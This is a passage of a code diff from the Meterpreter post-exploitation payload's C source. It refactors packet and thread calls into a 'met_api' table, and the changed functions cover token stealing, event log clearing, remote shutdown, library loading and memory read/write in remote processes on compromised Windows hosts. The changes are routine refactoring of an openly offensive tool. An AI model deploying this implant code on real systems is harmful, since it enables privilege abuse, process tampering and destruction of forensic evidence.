cbUsername); + met_api->packet.add_tlv_string(pResponse, TLV_TYPE_USER_NAME, cbUsername); dwResult = EXIT_SUCCESS; } while (0); @@ -239,13 +240,13 @@ DWORD populate_uid(Packet* pResponse) */ DWORD request_sys_config_getuid(Remote* pRemote, Packet* pPacket) { - Packet *pResponse = packet_create_response(pPacket); + Packet *pResponse = met_api->packet.create_response(pPacket); DWORD dwResult = ERROR_SUCCESS; dwResult = populate_uid(pResponse); // Transmit the response - packet_transmit_response(dwResult, pRemote, pResponse); + met_api->packet.transmit_response(dwResult, pRemote, pResponse); return dwResult; } @@ -258,14 +259,14 @@ DWORD request_sys_config_getuid(Remote* pRemote, Packet* pPacket) */ DWORD request_sys_config_drop_token(Remote* pRemote, Packet* pPacket) { - Packet* pResponse = packet_create_response(pPacket); + Packet* pResponse = met_api->packet.create_response(pPacket); DWORD dwResult = ERROR_SUCCESS; - core_update_thread_token(pRemote, NULL); + met_api->thread.update_token(pRemote, NULL); dwResult = populate_uid(pResponse); // Transmit the response - packet_transmit_response(dwResult, pRemote, pResponse); + met_api->packet.transmit_response(dwResult, pRemote, pResponse); return dwResult; } @@ -279,7 +280,7 @@ DWORD request_sys_config_drop_token(Remote* pRemote, Packet* pPacket) */ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD res = ERROR_SUCCESS; HANDLE token = NULL; int x; @@ -343,7 +344,7 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet) if (GetLastError() == ERROR_SUCCESS) { dprintf("[GETPRIVS] Got Priv %s", privs[x]); - packet_add_tlv_string(response, TLV_TYPE_PRIVILEGE, privs[x]); + met_api->packet.add_tlv_string(response, TLV_TYPE_PRIVILEGE, privs[x]); } } else @@ -359,7 +360,7 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet) } // Transmit the response - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); return res; } @@ -372,7 +373,7 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet) */ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD dwResult = ERROR_SUCCESS; HANDLE hToken = NULL; HANDLE hProcessHandle = NULL; @@ -382,7 +383,7 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet) do { // Get the process identifier that we're attaching to, if any. - dwPid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); + dwPid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PID); if (!dwPid) { @@ -422,7 +423,7 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet) } dprintf("[STEAL-TOKEN] so far so good, updating thread token"); - core_update_thread_token(remote, hDupToken); + met_api->thread.update_token(remote, hDupToken); dprintf("[STEAL-TOKEN] populating UID"); dwResult = populate_uid(response); @@ -438,7 +439,7 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet) CloseHandle(hToken); } // Transmit the response - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); return dwResult; } @@ -564,7 +565,7 @@ DWORD add_windows_os_version(Packet** packet) } dprintf("[VERSION] Version set to: %s", buffer); - packet_add_tlv_string(*packet, TLV_TYPE_OS_NAME, buffer); + met_api->packet.add_tlv_string(*packet, TLV_TYPE_OS_NAME, buffer); } while (0); return dwResult; @@ -578,7 +579,7 @@ DWORD add_windows_os_version(Packet** packet) */ DWORD request_sys_config_localtime(Remote* remote, Packet* packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; char dateTime[128] = { 0 }; @@ -595,10 +596,10 @@ DWORD request_sys_config_localtime(Remote* remote, Packet* packet) tzi.Bias > 0 ? "-" : "+", abs(tzi.Bias / 60 * 100)); dprintf("[SYSINFO] Local Date/Time: %s", dateTime); - packet_add_tlv_string(response, TLV_TYPE_LOCAL_DATETIME, dateTime); + met_api->packet.add_tlv_string(response, TLV_TYPE_LOCAL_DATETIME, dateTime); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return result; } @@ -611,7 +612,7 @@ DWORD request_sys_config_localtime(Remote* remote, Packet* packet) */ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); CHAR computer[512], buf[512], * osArch = NULL; DWORD res = ERROR_SUCCESS; DWORD size = sizeof(computer); @@ -629,7 +630,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) break; } - packet_add_tlv_string(response, TLV_TYPE_COMPUTER_NAME, computer); + met_api->packet.add_tlv_string(response, TLV_TYPE_COMPUTER_NAME, computer); add_windows_os_version(&response); // sf: we dynamically retrieve GetNativeSystemInfo & IsWow64Process as NT and 2000 dont support it. @@ -667,7 +668,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) } dprintf("[SYSINFO] Arch set to: %s", osArch); - packet_add_tlv_string(response, TLV_TYPE_ARCHITECTURE, osArch); + met_api->packet.add_tlv_string(response, TLV_TYPE_ARCHITECTURE, osArch); if (hKernel32) { @@ -702,7 +703,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) _snprintf(buf, sizeof(buf)-1, "%s_%s", langname, ctryname); } - packet_add_tlv_string(response, TLV_TYPE_LANG_SYSTEM, buf); + met_api->packet.add_tlv_string(response, TLV_TYPE_LANG_SYSTEM, buf); if (ctryname) { @@ -719,9 +720,9 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) if (NetWkstaGetInfo(NULL, 102, (LPBYTE *)&localSysinfo) == NERR_Success) { - char *domainName = wchar_to_utf8(localSysinfo->wki102_langroup); - packet_add_tlv_string(response, TLV_TYPE_DOMAIN, (LPCSTR)domainName); - packet_add_tlv_uint(response, TLV_TYPE_LOGGED_ON_USER_COUNT, localSysinfo->wki102_logged_on_users); + char *domainName = met_api->string.wchar_to_utf8(localSysinfo->wki102_langroup); + met_api->packet.add_tlv_string(response, TLV_TYPE_DOMAIN, (LPCSTR)domainName); + met_api->packet.add_tlv_uint(response, TLV_TYPE_LOGGED_ON_USER_COUNT, localSysinfo->wki102_logged_on_users); free(domainName); } else @@ -731,7 +732,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) } while (0); // Transmit the response - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); return res; } @@ -749,16 +750,16 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet) do { - response = packet_create_response(packet); + response = met_api->packet.create_response(packet); if (!response) { dwResult = ERROR_INVALID_HANDLE; break; } - core_update_thread_token(remote, NULL); + met_api->thread.update_token(remote, NULL); - core_update_desktop(remote, -1, NULL, NULL); + met_api->desktop.update(remote, -1, NULL, NULL); if (!RevertToSelf()) dwResult = GetLastError(); @@ -766,7 +767,7 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet) } while(0); if (response) - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); return dwResult; } @@ -776,7 +777,7 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet) */ DWORD request_sys_config_driver_list(Remote *remote, Packet *packet) { - Packet* response = packet_create_response(packet); + Packet* response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; LPVOID ignored = NULL; @@ -831,17 +832,17 @@ DWORD request_sys_config_driver_list(Remote *remote, Packet *packet) if (valid) { - Packet* entry = packet_create_group(); + Packet* entry = met_api->packet.create_group(); - char* bn = wchar_to_utf8(baseName); - packet_add_tlv_string(entry, TLV_TYPE_DRIVER_BASENAME, bn); + char* bn = met_api->string.wchar_to_utf8(baseName); + met_api->packet.add_tlv_string(entry, TLV_TYPE_DRIVER_BASENAME, bn); free(bn); - char* fn = wchar_to_utf8(fileName); - packet_add_tlv_string(entry, TLV_TYPE_DRIVER_FILENAME, fn); + char* fn = met_api->string.wchar_to_utf8(fileName); + met_api->packet.add_tlv_string(entry, TLV_TYPE_DRIVER_FILENAME, fn); free(fn); - packet_add_group(response, TLV_TYPE_DRIVER_ENTRY, entry); + met_api->packet.add_group(response, TLV_TYPE_DRIVER_ENTRY, entry); } } } @@ -854,7 +855,7 @@ DWORD request_sys_config_driver_list(Remote *remote, Packet *packet) } } - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/eventlog/eventlog.c b/c/meterpreter/source/extensions/stdapi/server/sys/eventlog/eventlog.c index 886dd94d..fa074841 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/eventlog/eventlog.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/eventlog/eventlog.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" /* * Opens a event log and returns the associated HANDLE to the caller if the @@ -12,12 +13,12 @@ */ DWORD request_sys_eventlog_open(Remote * remote, Packet * packet) { - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); LPCTSTR sourceName = NULL; DWORD result = ERROR_SUCCESS; HANDLE hEvent; - sourceName = packet_get_tlv_value_string(packet, TLV_TYPE_EVENT_SOURCENAME); + sourceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EVENT_SOURCENAME); if(!sourceName) { result = ERROR_INVALID_PARAMETER; @@ -28,11 +29,11 @@ DWORD request_sys_eventlog_open(Remote * remote, Packet * packet) result = GetLastError(); } else { - packet_add_tlv_qword(response, TLV_TYPE_EVENT_HANDLE, (QWORD)hEvent); + met_api->packet.add_tlv_qword(response, TLV_TYPE_EVENT_HANDLE, (QWORD)hEvent); } } - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -46,12 +47,12 @@ DWORD request_sys_eventlog_open(Remote * remote, Packet * packet) */ DWORD request_sys_eventlog_numrecords(Remote * remote, Packet * packet) { - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); HANDLE hEvent = NULL; DWORD numRecords; DWORD result = ERROR_SUCCESS; - hEvent = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); + hEvent = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); if(!hEvent) { result = ERROR_INVALID_PARAMETER; @@ -61,11 +62,11 @@ DWORD request_sys_eventlog_numrecords(Remote * remote, Packet * packet) result = GetLastError(); } else { - packet_add_tlv_uint(response, TLV_TYPE_EVENT_NUMRECORDS, numRecords); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_NUMRECORDS, numRecords); } } - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -81,16 +82,16 @@ DWORD request_sys_eventlog_numrecords(Remote * remote, Packet * packet) */ DWORD request_sys_eventlog_read(Remote * remote, Packet * packet) { - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); HANDLE hEvent = NULL; DWORD readFlags = 0, recordOffset = 0, bytesRead, bytesNeeded; DWORD result = ERROR_SUCCESS; EVENTLOGRECORD * buf = NULL; BYTE * str = NULL; - hEvent = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); - readFlags = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_EVENT_READFLAGS); - recordOffset = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_EVENT_RECORDOFFSET); + hEvent = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); + readFlags = (DWORD)met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EVENT_READFLAGS); + recordOffset = (DWORD)met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EVENT_RECORDOFFSET); do { if(!hEvent || !readFlags) { @@ -103,7 +104,7 @@ DWORD request_sys_eventlog_read(Remote * remote, Packet * packet) &bytesRead, 0, &bytesRead, &bytesNeeded ) != 0 || GetLastError() != ERROR_INSUFFICIENT_BUFFER) { result = GetLastError(); - // packet_add_raw(response, TLV_TYPE_EVENT_BYTESNEEDED) + // met_api->packet.add_raw(response, TLV_TYPE_EVENT_BYTESNEEDED) break; } @@ -116,22 +117,22 @@ DWORD request_sys_eventlog_read(Remote * remote, Packet * packet) buf, bytesNeeded, &bytesRead, &bytesNeeded ) == 0) { result = GetLastError(); - // packet_add_raw(response, TLV_TYPE_EVENT_BYTESNEEDED) + // met_api->packet.add_raw(response, TLV_TYPE_EVENT_BYTESNEEDED) break; } - packet_add_tlv_uint(response, TLV_TYPE_EVENT_RECORDNUMBER, buf->RecordNumber); - packet_add_tlv_uint(response, TLV_TYPE_EVENT_TIMEGENERATED, buf->TimeGenerated); - packet_add_tlv_uint(response, TLV_TYPE_EVENT_TIMEWRITTEN, buf->TimeWritten); - packet_add_tlv_uint(response, TLV_TYPE_EVENT_ID, buf->EventID); - packet_add_tlv_uint(response, TLV_TYPE_EVENT_TYPE, buf->EventType); - packet_add_tlv_uint(response, TLV_TYPE_EVENT_CATEGORY, buf->EventCategory); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_RECORDNUMBER, buf->RecordNumber); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_TIMEGENERATED, buf->TimeGenerated); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_TIMEWRITTEN, buf->TimeWritten); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_ID, buf->EventID); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_TYPE, buf->EventType); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_CATEGORY, buf->EventCategory); - packet_add_tlv_raw(response, TLV_TYPE_EVENT_DATA, (BYTE *)buf + buf->DataOffset, buf->DataLength); + met_api->packet.add_tlv_raw(response, TLV_TYPE_EVENT_DATA, (BYTE *)buf + buf->DataOffset, buf->DataLength); str = (BYTE *)buf + buf->StringOffset; while(buf->NumStrings > 0) { - packet_add_tlv_string(response, TLV_TYPE_EVENT_STRING, str); + met_api->packet.add_tlv_string(response, TLV_TYPE_EVENT_STRING, str); /* forward pass the null terminator */ while(*str++ != 0); buf->NumStrings--; @@ -139,7 +140,7 @@ DWORD request_sys_eventlog_read(Remote * remote, Packet * packet) } while(0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); if(buf) free(buf); @@ -157,19 +158,19 @@ DWORD request_sys_eventlog_read(Remote * remote, Packet * packet) */ DWORD request_sys_eventlog_oldest(Remote * remote, Packet * packet) { - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; - HANDLE hEvent = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); + HANDLE hEvent = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); DWORD oldest; if(GetOldestEventLogRecord(hEvent, &oldest) == 0) { result = GetLastError(); } else { - packet_add_tlv_uint(response, TLV_TYPE_EVENT_RECORDNUMBER, oldest); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_RECORDNUMBER, oldest); } - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -185,15 +186,15 @@ DWORD request_sys_eventlog_oldest(Remote * remote, Packet * packet) */ DWORD request_sys_eventlog_clear(Remote * remote, Packet * packet) { - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; - HANDLE hEvent = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); + HANDLE hEvent = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); if(ClearEventLog(hEvent, NULL) == 0) { result = GetLastError(); } - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -207,15 +208,15 @@ DWORD request_sys_eventlog_clear(Remote * remote, Packet * packet) */ DWORD request_sys_eventlog_close(Remote * remote, Packet * packet) { - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; - HANDLE hEvent = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); + HANDLE hEvent = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); if(CloseEventLog(hEvent) == 0) { result = GetLastError(); } - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } \ No newline at end of file diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/power/power.c b/c/meterpreter/source/extensions/stdapi/server/sys/power/power.c index cf291353..62108e52 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/power/power.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/power/power.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" /* * Shutdowns, restarts, etc the remote machine. Calls ExitWindowsEx @@ -10,14 +11,14 @@ */ DWORD request_sys_power_exitwindows(Remote * remote, Packet * packet) { - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); HANDLE token = NULL; TOKEN_PRIVILEGES tkp; DWORD result = ERROR_SUCCESS; - DWORD flags = packet_get_tlv_value_uint(packet, TLV_TYPE_POWER_FLAGS); - DWORD reason = packet_get_tlv_value_uint(packet, TLV_TYPE_POWER_REASON); + DWORD flags = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_POWER_FLAGS); + DWORD reason = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_POWER_REASON); // result = ERROR_INVALID_PARAMETER; @@ -46,7 +47,7 @@ DWORD request_sys_power_exitwindows(Remote * remote, Packet * packet) } } while(0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); if(token) CloseHandle(token); diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c index d839f503..7aa928d5 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" DWORD remote_load_library(HANDLE process, LPCSTR image, HMODULE *base); @@ -15,14 +16,14 @@ DWORD remote_unload_library(HANDLE process, HMODULE base); */ DWORD request_sys_process_image_load(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; HANDLE handle; LPCSTR image; HMODULE base; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - image = packet_get_tlv_value_string(packet, TLV_TYPE_IMAGE_FILE_PATH); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + image = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_IMAGE_FILE_PATH); do { @@ -49,12 +50,12 @@ DWORD request_sys_process_image_load(Remote *remote, Packet *packet) } // Add the base address to the result - packet_add_tlv_qword(response, TLV_TYPE_IMAGE_BASE, (QWORD)base); + met_api->packet.add_tlv_qword(response, TLV_TYPE_IMAGE_BASE, (QWORD)base); } while (0); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -68,7 +69,7 @@ DWORD request_sys_process_image_load(Remote *remote, Packet *packet) */ DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; HMODULE mod = NULL; BOOLEAN unload = FALSE; @@ -77,9 +78,9 @@ DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet) LPCSTR procedure; LPVOID address = NULL; - process = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - image = packet_get_tlv_value_string(packet, TLV_TYPE_IMAGE_FILE); - procedure = packet_get_tlv_value_string(packet, TLV_TYPE_PROCEDURE_NAME); + process = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + image = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_IMAGE_FILE); + procedure = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_PROCEDURE_NAME); do { @@ -122,7 +123,7 @@ DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet) } // Set the procedure address on the response - packet_add_tlv_qword(response, TLV_TYPE_PROCEDURE_ADDRESS, (QWORD)address); + met_api->packet.add_tlv_qword(response, TLV_TYPE_PROCEDURE_ADDRESS, (QWORD)address); } while (0); @@ -134,7 +135,7 @@ DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet) remote_unload_library(process, mod); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -147,13 +148,13 @@ DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet) */ DWORD request_sys_process_image_unload(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle; LPVOID base; DWORD result = ERROR_SUCCESS; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_IMAGE_BASE); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_IMAGE_BASE); do { @@ -177,7 +178,7 @@ DWORD request_sys_process_image_unload(Remote *remote, Packet *packet) } while (0); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -195,7 +196,7 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) DWORD baseSize); DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path, DWORD pathSize); - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HMODULE *modules = NULL; BOOLEAN valid = FALSE; HMODULE psapi = NULL; @@ -204,7 +205,7 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) DWORD needed = 0, actual, tries = 0; DWORD index; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); do { @@ -301,13 +302,13 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) tlvs[2].header.type = TLV_TYPE_IMAGE_NAME; tlvs[2].buffer = (PUCHAR)name; - packet_add_tlv_group(response, TLV_TYPE_IMAGE_GROUP, tlvs, 3); + met_api->packet.add_tlv_group(response, TLV_TYPE_IMAGE_GROUP, tlvs, 3); } } while (0); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); // Cleanup if (modules) diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c index e3b6aa83..7ac22df9 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" /*! * @brief Allocates memory in the context of the supplied process. @@ -11,7 +12,7 @@ */ DWORD request_sys_process_memory_allocate(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle; LPVOID base; SIZE_T size; @@ -19,16 +20,16 @@ DWORD request_sys_process_memory_allocate(Remote *remote, Packet *packet) DWORD alloc, prot; // Snag the TLV values - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); - size = (SIZE_T)packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); - alloc = packet_get_tlv_value_uint(packet, TLV_TYPE_ALLOCATION_TYPE); - prot = packet_get_tlv_value_uint(packet, TLV_TYPE_PROTECTION); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); + size = (SIZE_T)met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LENGTH); + alloc = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ALLOCATION_TYPE); + prot = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROTECTION); // Allocate the memory if ((base = VirtualAllocEx(handle, base, size, alloc, prot))) { - packet_add_tlv_qword(response, TLV_TYPE_BASE_ADDRESS, (QWORD)base); + met_api->packet.add_tlv_qword(response, TLV_TYPE_BASE_ADDRESS, (QWORD)base); } else { @@ -36,7 +37,7 @@ DWORD request_sys_process_memory_allocate(Remote *remote, Packet *packet) } // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -50,22 +51,22 @@ DWORD request_sys_process_memory_allocate(Remote *remote, Packet *packet) */ DWORD request_sys_process_memory_free(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle; SIZE_T size; LPVOID base; DWORD result = ERROR_SUCCESS; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); - size = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); + size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LENGTH); // Free the memory if (!VirtualFreeEx(handle, base, size, MEM_RELEASE)) result = GetLastError(); // Transmit the response - packet_transmit_response(result, remote, packet); + met_api->packet.transmit_response(result, remote, packet); return ERROR_SUCCESS; } @@ -80,7 +81,7 @@ DWORD request_sys_process_memory_free(Remote *remote, Packet *packet) */ DWORD request_sys_process_memory_read(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); LPVOID buffer = NULL; HANDLE handle; SIZE_T size; @@ -88,9 +89,9 @@ DWORD request_sys_process_memory_read(Remote *remote, Packet *packet) SIZE_T bytesRead = 0; DWORD result = ERROR_SUCCESS; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); - size = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); + size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LENGTH); do { @@ -119,13 +120,13 @@ DWORD request_sys_process_memory_read(Remote *remote, Packet *packet) } // Add the raw buffer to the response - packet_add_tlv_raw(response, TLV_TYPE_PROCESS_MEMORY, buffer, + met_api->packet.add_tlv_raw(response, TLV_TYPE_PROCESS_MEMORY, buffer, (DWORD)bytesRead); } while (0); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); // Free the temporary storage if (buffer) @@ -144,22 +145,22 @@ DWORD request_sys_process_memory_read(Remote *remote, Packet *packet) */ DWORD request_sys_process_memory_write(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle; LPVOID base; DWORD result = ERROR_SUCCESS; size_t written = 0; Tlv data; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); do { // Invalid handle, base, or data? if ((!handle) || (!base) || - (packet_get_tlv(packet, TLV_TYPE_PROCESS_MEMORY, &data)) != ERROR_SUCCESS) + (met_api->packet.get_tlv(packet, TLV_TYPE_PROCESS_MEMORY, &data)) != ERROR_SUCCESS) { result = ERROR_INVALID_PARAMETER; break; @@ -175,12 +176,12 @@ DWORD request_sys_process_memory_write(Remote *remote, Packet *packet) } // Set the number of bytes actually written on the response - packet_add_tlv_uint(response, TLV_TYPE_LENGTH, (DWORD)written); + met_api->packet.add_tlv_uint(response, TLV_TYPE_LENGTH, (DWORD)written); } while (0); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -194,14 +195,14 @@ DWORD request_sys_process_memory_write(Remote *remote, Packet *packet) DWORD request_sys_process_memory_query(Remote *remote, Packet *packet) { MEMORY_BASIC_INFORMATION info; - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle; LPVOID base; DWORD result = ERROR_SUCCESS; SIZE_T size = 0; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - base = (LPVOID)packet_get_tlv_value_qword(packet, 